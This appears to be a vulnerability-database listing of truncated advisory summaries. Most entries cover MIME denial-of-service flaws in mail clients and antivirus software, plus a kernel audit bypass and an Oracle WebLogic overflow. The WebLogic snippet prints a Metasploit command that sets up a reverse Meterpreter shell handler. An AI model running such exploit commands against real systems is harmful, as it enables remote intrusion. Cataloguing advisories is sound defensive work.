kernel: x86-64: syscall-audit: 32/64 syscall hole

The auditsyscallentry function in the Linux kernel 2.6.28.7 and earlier on the x8664 platform does not properly handle 1 a 32-bit process making a 64-bit syscall or 2 a 64-bit process making a 32-bit syscall, which allows local users to bypass certain syscall audit configurations via crafted...

MixedCMS 1.0b (LFI/SU/AB/FD) Multiple Remote Vulnerabilities

No description provided by source. || || || -----------------------------------------\ == -- ----------- ---------------------------- ------------------/ ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O ¡PROUD TO BE SPANISH! ----------------------------------...

Oracle WebLogic IIS connector JSESSIONID - Remote Overflow

!/usr/bin/perl No point in keeping this private anymore! ksOSe - 02/16/2009 - CVE-2008-5457 Tested on w2k sp4 and w2k3 R2 sp2 no NX cohelet framework-3.2 ./msfcli multi/handler PAYLOAD=windows/reflectivemeterpreter/reversetcp LHOST=10.10.10.1 LPORT=80 E Please wait while we load the module tree...

Mozilla Thunderbird <= 2.0.0.14 DoS Vulnerability - Linux

Mozilla Thunderbird is prone to a denial of service DoS vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Managed to inject in-depth study-vulnerability warning-the black bar safety net

This is what I posted in the hacker line of Defense of the 2 0 0 8 year 1 2 on an article, here it is on the network for starters. The attachment is I wrote a tool“the Super SpySuperSpy”, including a window-detection function, and even be able to detect the VC's own SPY++can't detect the window; ...

Microsoft Outlook Express Malformed MIME Message DoS Vulnerability

Microsoft Outlook Express is prone to a denial of service DoS vulnerability. SPDX-FileCopyrightText: 2008 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Opera Web Browser DoS attacks on MIME via malformed MIME emails (Windows)

The host is installed with Opera Web Browser and is prone to denial of service vulnerability. OpenVAS Vulnerability Test $Id: gboperamimedosvulnwin.nasl 6532 2017-07-05 07:42:05Z cfischer $ Opera Web Browser DoS attacks on MIME via malformed MIME emails Windows Authors: Chandan S Copyright:...

NOD32 Email Message Denial of Service Vulnerability

This host is installed with NOD32 Antivirus and is prone to Denial of Service vulnerability. OpenVAS Vulnerability Test $Id: gbnod32emailmessagedos.nasl 5370 2017-02-20 15:24:26Z cfi $ NOD32 E-mail message Denial of Service Vulnerability Authors: Sujit Ghosal Copyright: Copyright c 2008 Greenbone...

Opera Web Browser 9.51 DoS Vulnerability - Windows

Opera Web Browser is prone to a denial of service DoS vulnerability. SPDX-FileCopyrightText: 2008 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

CVE-2008-5430: Undefined Security Weakness

Mozilla Thunderbird 2.0.14 does not properly handle 1 multipart/mixed e-mail messages with many MIME parts and possibly 2 e-mail messages with many "Content-type: message/rfc822;" headers, which might allow remote attackers to cause a denial of service stack consumption or other resource...

Design/Logic Flaw

ESet NOD32 2.70.0039.0000 does not properly handle 1 multipart/mixed e-mail messages with many MIME parts and possibly 2 e-mail messages with many "Content-type: message/rfc822;" headers, which allows remote attackers to cause a denial of service stack consumption or other resource consumption vi...

Design/Logic Flaw

The MimeOleClearDirtyTree function in InetComm.dll in Microsoft Outlook Express 6.00.2900.5512 does not properly handle 1 multipart/mixed e-mail messages with many MIME parts and possibly 2 e-mail messages with many "Content-type: message/rfc822;" headers, which allows remote attackers to cause a...

CVE-2008-5429

Incredimail build 5853710 is affected by a denial-of-service issue triggered by large MIME-structured emails, including (1) multipart/mixed messages with many parts and (2) many Content-type: message/rfc822 headers. The underlying risk is resource consumption (stack/CPU/memory). The description n...

CVE-2008-5429: Undefined Security Weakness

Incredimail build 5853710 does not properly handle 1 multipart/mixed e-mail messages with many MIME parts and possibly 2 e-mail messages with many "Content-type: message/rfc822;" headers, which allows remote attackers to cause a denial of service stack consumption or other resource consumption vi...

CVE-2008-5425: Undefined Security Weakness

ESet NOD32 2.70.0039.0000 does not properly handle 1 multipart/mixed e-mail messages with many MIME parts and possibly 2 e-mail messages with many "Content-type: message/rfc822;" headers, which allows remote attackers to cause a denial of service stack consumption or other resource consumption vi...

CVE-2008-5427: Undefined Security Weakness

Norton Antivirus in Norton Internet Security 15.5.0.23 does not properly handle 1 multipart/mixed e-mail messages with many MIME parts and possibly 2 e-mail messages with many "Content-type: message/rfc822;" headers, which allows remote attackers to cause a denial of service stack consumption or...

CVE-2008-5428: Undefined Security Weakness

Opera 9.51 on Windows XP does not properly handle 1 multipart/mixed e-mail messages with many MIME parts and possibly 2 e-mail messages with many "Content-type: message/rfc822;" headers, which allows remote attackers to cause a denial of service stack consumption or other resource consumption via...

CVE-2008-5426: Undefined Security Weakness

Kaspersky Internet Security Suite 2009 does not properly handle 1 multipart/mixed e-mail messages with many MIME parts and possibly 2 e-mail messages with many "Content-type: message/rfc822;" headers, which allows remote attackers to cause a denial of service stack consumption or other resource...

SuSE 10 Security Update : clamav (ZYPP Patch Number 2390)

This update to ClamAV version 0.88.7 fixes various bugs : - Clam AntiVirus ClamAV allows remote attackers to cause a denial of service crash via a malformed base64-encoded MIME attachment that triggers a NULL pointer dereference. CVE-2006-5874 - Clam AntiVirus ClamAV 0.88.6 allowed remote attacke...

GLSA-200612-18 : ClamAV: Denial of Service

The remote host is affected by the vulnerability described in GLSA-200612-18 ClamAV: Denial of Service Hendrik Weimer discovered that ClamAV fails to properly handle deeply nested MIME multipart/mixed content. Impact : By sending a specially crafted email with deeply nested MIME multipart/mixed...